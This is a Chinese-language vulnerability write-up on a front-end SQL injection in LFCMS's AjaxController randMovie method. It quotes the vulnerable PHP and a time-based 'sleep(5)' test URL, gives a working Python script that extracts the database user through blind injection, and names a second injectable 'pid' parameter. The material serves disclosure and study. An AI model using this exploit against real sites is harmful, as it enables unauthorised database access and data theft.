LFCMS AjaxController.class.php 前台sql注入漏洞 ============================================== 一、漏洞简介 ------------ 二、漏洞影响 ------------ 三、复现过程 ------------ 漏洞起始点位于`/Application/Home/Controller/AjaxController.class.php`文件中的`randMovie`方法,代码如下 ![1.png](./resource/LFCMSAjaxController.class.php前台sql注入漏洞/media/rId24.png) 第七行代码中调用了`Ajax`模型中的`randMovie`方法,同时`limit`和`category`是我们输入的可控的参数,跟进`randMovie`方法 public function randMovie($limit=6,$category='') { if($category) { $type='and category='.$category; } $prefix=C('DB_PREFIX'); $mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit); foreach($mlist as $key=>$value) { $list[$key]=D('Tag')->movieChange($value,'movie'); } return $list; } 在这里注意到`$type`与`$limit`在`sql`语句执行时均没有被单引号包裹,直接拼接到语句当中,这里就存在了sql注入的可能,首先我们在`movie`表里放一条数据,看一下正常执行时sql语句是如何执行的 ![2.png](./resource/LFCMSAjaxController.class.php前台sql注入漏洞/media/rId25.png) 查看数据库日志可以得到如下`sql`语句 SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1 接着来尝试下进行注入,测试链接如下 http://www.0-sec.org/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5) 页面确实延迟了5秒,那么接着看一下后端数据库的语句 SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1 基本可以判断该处存在着可用的注入点,接下来编写脚本跑一下数据库用户名试试 import requests url = 'http://www.0-sec.org/index.php/Ajax/randMovie?limit=1&category=2 and ' s = requests.session() result = "" for i in range(1,50): print('==========================') for j in range(32,127): payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j) temp = url+payload try: s.get(temp,timeout=5) except: result+= chr(j) print(result) break ![3.png](./resource/LFCMSAjaxController.class.php前台sql注入漏洞/media/rId26.png) 相同原理的利用点同样不止一个,如`/Application/Home/Controller/PlayerController.class.php`文件中的`down`方法调用了模型`movie`中的`getPlayerUrl`方法,该方法的`pid`参数同样可以注入 参考链接 -------- > https://xz.aliyun.com/t/7844